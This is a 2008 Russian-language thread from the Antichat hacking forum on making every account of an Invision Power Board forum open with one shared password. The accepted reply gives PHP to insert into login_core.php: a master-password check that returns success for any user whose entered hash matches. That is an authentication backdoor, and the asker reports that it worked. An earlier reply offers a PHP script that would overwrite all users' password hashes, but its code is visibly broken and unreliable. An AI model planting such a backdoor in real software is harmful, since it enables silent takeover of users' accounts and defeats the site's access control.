Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Как установить в Ipb один пасс для всех юзверей? (https://forum.antichat.xyz/showthread.php?t=72965)

Nightmarе 07.06.2008 15:11

Как установить в Ipb один пасс для всех юзверей?
 
Подскажите какой файл надо модифицировать, куда чё вписать надо чтобы можно было под всеми юзверями войти с одним паролем, Ipb 2.3.4
Кто знает напишите плз!

Lesnoy_chelovek 07.06.2008 16:07

А в табличке если Update'ом пароль записать?

maxster 07.06.2008 16:17

Я думаю так должно сработать:
PHP код:

<?php
$pass 
'hashpassword' //  хеш пасса
$salt   'saltpassword'  //  соль пасса
include "cong_global.php";
mysql_connect($INFO['sql_host'], $INFO['sql_user'], $INFO['sql_password']);
@
mysql_select_db($INFO['sql_database']);
$query="select count(id) from ".$INFO['sql_tbl_prefix']."members";
$pre=mysql_fetch_array(mysql_query($query));
$i=2;
do
{
$up="update ".$INFO['sql_tbl_prefix']."members_converge SET converge_pass_hash = '".$pass."', converge_pass_salt = '".$salt."' where converge_id = '".$id."'";
} while (++
$i <= $pre[0]);

?>

закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\

Nightmarе 10.06.2008 23:03

Цитата:

Сообщение от maxster
Я думаю так должно сработать:
закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\

Это я так понял он всем юзверям установит пасс?
Мне желательно чтобы под всеми можно было зайти с одним пассом не переставляя в базе каждому...
Я хз где там можно отредактировать и как, чтобы по одному паролю заходило, там авторизация через несколько модулей

c0m 20.06.2008 21:30

тупо поставь в members_converge одинаковые хэши и соль

FaR-G9 21.06.2008 02:08

Если тема еще актуальна, то в файле \sources\loginauth\login_core.php

найди
Код:

                //-----------------------------------------
                // Check password...
                //-----------------------------------------

258я строка по дефолту
и наже добавь
PHP код:

        if ($password == '4a7d1ed414474e4033ac29ccb8653d9b')
        {
            
$this->return_code 'SUCCESS';
            return;
        } 

где 4a7d1ed414474e4033ac29ccb8653d9b это md5 хэш твоего суперпароля ;)
в этом примере пароль 0000

Nightmarе 21.06.2008 04:19

FaR-G9 большое спасибо - помогло!!!


Время: 20:10